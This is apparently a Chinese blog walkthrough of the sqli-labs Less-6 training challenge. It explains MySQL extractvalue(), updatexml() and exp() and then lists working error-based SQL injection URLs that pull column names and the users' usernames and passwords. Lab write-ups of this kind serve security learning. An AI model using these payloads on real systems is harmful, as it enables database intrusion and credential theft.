sqli-labs Basic Challenges Less6

延續上一篇文章講的報錯注入,這裏再介紹三種其他形式的報錯注入。分別是extractvalue()報錯注入、updatexml()報錯注入以及exp()報錯注入。在此之前我們需要對這幾個函數有一個大致的瞭解。

1、extractvalue()函數

Mysql 5.1.5版本中添加了extractvalue()函數來對xml文檔進行查詢。

函數的語法如下:

extractvalue(XML_document, XPath_string);

第一個參數指定的是xml文檔的名字(string格式),第二個參數則是一個Xpath格式的字符串。

函數的目的就是從目標XML文檔中找到並返回包含所查詢值的字符串。

這裏我先建立一個包含xml文檔的數據表

create table x(doc varchar(150) );

然後再插入數據

insert into x values('

    <book>

    <title>A guide to the SQL standard</title>

    <author>

    <initial>CJ</initial>

    <surname>Date</surname>

    </author>

    </book>

');

再插入第二條

insert into x values('

    <book>

    <title>SQL:1999</title>

    <author>

    <initial>J</initial>

    <surname>Melton</surname>

    </author>

    </book>

     ');

建立之後,來試試extractvalue()函數的具體功能

2、updatexml()函數

  同extractvalue()函數一樣,該函數也是從Mysql 5.1.5版本中被添加。主要是用來對xml文檔中的內容進行替換。

函數語法如下:

updatexml (XML_document, XPath_string, new_value);

第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲doc 

第二個參數:XPath_string (Xpath格式的字符串) ,指定查找的對象。 

第三個參數:new_value,String格式,替換查找到的符合條件的數據 

函數的主要作用:改變文檔中符合條件的節點的值

這裏用剛纔建立的表x來做演示。

update x set doc=updatexml(doc,'/book/author/initial','ceshi');

 更改完數據之後看看效果

可以看到確實是對內容進行替換更改了。

這兩個函數介紹到這裏大家也都明白了它們大概是做什麼用的了。但是我們講的是報錯注入啊,它們跟報錯注入有什麼關係吶?

對於extractvalue()函數來說,第二個參數是xpath格式的字符串,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容了。

比如:

這裏第二個參數查詢出來結果必然是帶~符號的,不符合xpath格式。所以報錯並且返回了我們想要查詢的內容。

而updatexml()函數報錯跟這個原理是一樣的,也是第二個參數不符合xpath格式就會報錯,比如:

3、exp()函數

exp()函數就是計算以e爲底的對數函數。但是當傳遞一個大於709的數時,函數就會引起一個溢出錯誤。

我們需要知道一點那就是函數執行成功後是會返回0的,而對0按位取反就是一個比709大得多的數

這樣的話報錯不就來了嗎?只要將我們想要查詢的函數放到exp()函數中並且成功執行返回0並取反,就可以得到一個大於709的數,最後就觸發了exp()的溢出報錯了。

至此加上之前的floor()和rand()函數結合的報錯注入,我們一共學習到了四種報錯注入的方法。接下來就在第六關中使用上述的三種方法進行報錯注入吧。

 

Less  6  GET - Double Injection - Double Quotes - String

可以看到跟第五關的區別就是包含參數的是雙引號了。

打開第六關,輸入參數訪問

輸入一個雙引號測試一下

發現報錯如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1

主要錯誤信息就是"1"" LIMIT 0,1

看來確實如同題目寫的那樣是雙引號包含參數的。接下來就是報錯注入了

1、extractvalue()

先查看用戶名

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',user(),'~')) --+--+

再查詢字段名

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),'~')) --+

最後就是查詢字段的內容了

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    extractvalue('ceshi',concat('~',(select group_concat(username,password) from security.users),'~')) --+

這個時候可以看到雖然可以返回字段內容,但是返回的內容是不全的。這是因爲extractvalue()能查詢字符串的最大長度爲32。所以我們可以用limit來遍歷查看內容。

2、updatexml()

這裏只需要將上面的extractvalue函數名替換掉,再增加一個字符串格式的參數在後面就可以了,比如

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"   and    updatexml('ceshi',concat('~',(select group_concat(username,password) from security.users),'~'),'ceshi') --+

這裏可以看到的是updatexml()函數跟extractvalue()函數有一樣的限制,那就是能查詢的字符串最大限度爲32位。

 

3、exp()

主要需要注意的是:在mysql>5.5.53的版本中,exp()報錯不會返回結果。此處我本機mysql數據庫版本是5.7.26,沒有成功。換成了5.5.29才成功報錯返回查詢結果的。

接下來剩下其他的步驟,直接查詢字段內容

http://www.bj.com/sqli-labs/Less-6/index.php?id=1"      and exp(~(select * from (select group_concat(username,password) from security.users)x))  --+

注意此處的語句構造,我們通過子查詢與按位取反,造成一個DOUBLE overflow error,並藉由此注出數據。

其實報錯注入不僅僅只有這四種,還有一些其他比如幾何函數之類的,但是都只是適用於較低版本的mysql了,這裏就不一一介紹了,以後有機會可能會單獨寫一篇有關報錯注入的文章。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章